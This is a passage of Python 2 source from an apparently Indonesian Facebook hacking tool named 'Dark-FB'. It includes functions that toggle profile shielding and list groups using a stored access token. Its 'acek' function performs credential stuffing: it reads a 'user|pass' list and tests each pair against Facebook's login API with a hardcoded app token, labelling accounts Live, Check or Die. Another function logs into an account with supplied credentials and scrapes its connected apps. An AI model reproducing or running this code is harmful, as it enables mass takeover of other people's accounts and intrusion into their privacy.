1561 data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id))
1562 headers = {"Content-Type" : "application/x-www-form-urlencoded", "Authorization" : "OAuth %s" % token}
1563 url = "https://graph.facebook.com/graphql"
1564 pek = requests.post(url, data = data, headers = headers)
1565 if '"is_shielded":true' in pek.text:
1566 print tutup+"["+lime+"+"+tutup+"] Telah diaktifkan"+tutup
1567 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1568 raw_input(tutup+"\nEnter returns to the menu ...")
1569 menu()
1570 elif '"is_shielded":false' in pek.text:
1571 print tutup+"["+lime+"+"+tutup+"] Telah dimatikan"+tutup
1572 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1573 raw_input(tutup+"\nEnter returns to the menu ...")
1574 menu()
1575 else:
1576 exit(tutup+"["+merah+"!"+tutup+"] Error"+tutup)
1577
1578
1579def lgrup():
1580 try:
1581 token = open('logs.txt').read()
1582 except:
1583 print('Token Tidak Ada')
1584 menu()
1585 print
1586 listgrup = []
1587 r = requests.get('https://graph.facebook.com/me/groups?access_token='+token)
1588 grup = json.loads(r.text)
1589 for g in grup['data']:
1590 nama = g["name"]
1591 id = g["id"]
1592 listgrup.append(id)
1593 print tutup+"["+lime+"+"+tutup+"] "+id+" | "+nama+tutup
1594 print tutup+"["+lime+"+"+tutup+"] Total Group : "+lime+str(len(listgrup))+tutup
1595 print tutup+"["+lime+"+"+tutup+"] Done"+tutup
1596 raw_input(tutup+"\nEnter returns to the menu ...")
1597 menu()
1598
1599
1600def acek():
1601 try:
1602 token = open('logs.txt').read()
1603 except:
1604 menu()
1605 live = []
1606 cek = []
1607 die = []
1608 print tutup + '[' + merah + '!' + tutup + "] INFO : Pemisah 'user|pass'"
1609 file = raw_input(tutup + '[' + lime + '+' + tutup + '] List account : ' + lime)
1610 try:
1611 list = open(file, 'r').readlines()
1612 except IOError:
1613 exit(tutup + '[' + merah + '!' + tutup + '] File not found' + tutup)
1614
1615 for x in list:
1616 user, pw = x.strip().split(str('|'))
1617 r = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
1618 z = json.loads(r.text)
1619 if 'access_token' in z:
1620 live.append(user)
1621 print tutup + '[' + lime + '+' + tutup + '] Live = ' + user + '|' + pw
1622 elif 'www.facebook.com' in z['error_msg']:
1623 cek.append(user)
1624 print tutup + '[' + kuning + '+' + tutup + '] Check = ' + user + '|' + pw
1625 else:
1626 die.append(user)
1627 print tutup + '[' + merah + '!' + tutup + '] Die = ' + user + '|' + pw
1628
1629 print tutup + '[' + lime + '+' + tutup + '] Total : ' + lime + str(len(live)) + tutup + ' ' + kuning + str(len(cek)) + tutup + ' ' + merah + str(len(die)) + tutup
1630 print tutup + '[' + lime + '+' + tutup + '] Done' + tutup
1631 raw_input(tutup + '\nEnter returns to the menu ...')
1632 menu()
1633
1634
1635def acekpp():
1636 try:
1637 token = open('logs.txt').read()
1638 except:
1639 menu()
1640 print tutup + '[' + merah + '!' + tutup + '] INFO : Login dengan akun yang ingin di cek'
1641 user = raw_input(tutup + '[' + lime + '+' + tutup + '] Username : ' + lime)
1642 pw = raw_input(tutup + '[' + lime + '+' + tutup + '] Password : ' + lime)
1643 print tutup + '[' + ungu + '*' + tutup + '] Check with account = ' + user + '|' + pw + tutup
1644 data = {'email': user, 'pass': pw}
1645 r = apa.post('https://mbasic.facebook.com/login', data=data).text.encode('utf-8')
1646 if 'save-device' in str(r) or 'm_sess' in str(r):
1647 bs = sup(apa.get('https://mbasic.facebook.com/settings/apps/tabbed/').text, features='html.parser')
1648 for z in bs.find_all('h3'):
1649 x = z.find('div')
1650 if 'None' in str(x):
1651 continue
1652 else:
1653 print tutup + '[' + lime + '~' + tutup + ']', x.text
1654
1655 else:
1656 print tutup + '[' + merah + '!' + tutup + '] Login gagal'
1657 print tutup + '[' + lime + '+' + tutup + '] Done' + tutup
1658 raw_input(tutup + '\nEnter returns to the menu ...')
1659 menu()
1660
1661
1662def infotools():
1663 os.system('clear')
1664 banner()
1665 print merah + ' || || ' + tutup + u' \x1b[7m Author: Ananda\x1b[0m' + tutup
1666 print ''
1667 print kuning + ' Coded' + tutup + ' : ' + at
1668 print kuning + ' Support' + tutup + ' : ./Mr.Lonte'
1669 print kuning + ' Source' + tutup + ' : ' + lime + 'https://github.com/Mr.Bacot'
1670 print kuning + ' Name Tools' + tutup + ' : Dark-FB'
1671 print kuning + ' Version' + tutup + ' : 1.9'
1672 print kuning + ' Language' + tutup + ' : English/Indonesian'
1673 print kuning + ' Date Release' + tutup + ' : 25/09/2019'
1674 print kuning + ' Contact' + tutup + ' : +622288231535'
1675 print kuning + ' Status License' + tutup + ' : OK'
1676 print '\n\n\n'
1677 print putih + ' Copyright \xc2\xa9 2019 IDNCoder. All Rights Reserved' + tutup
1678 print '\n\n\n\n'
1679 raw_input(tutup + '\nEnter returns to the menu ...')
1680 menu()
1681
1682
1683if __name__ == '__main__':
1684 login()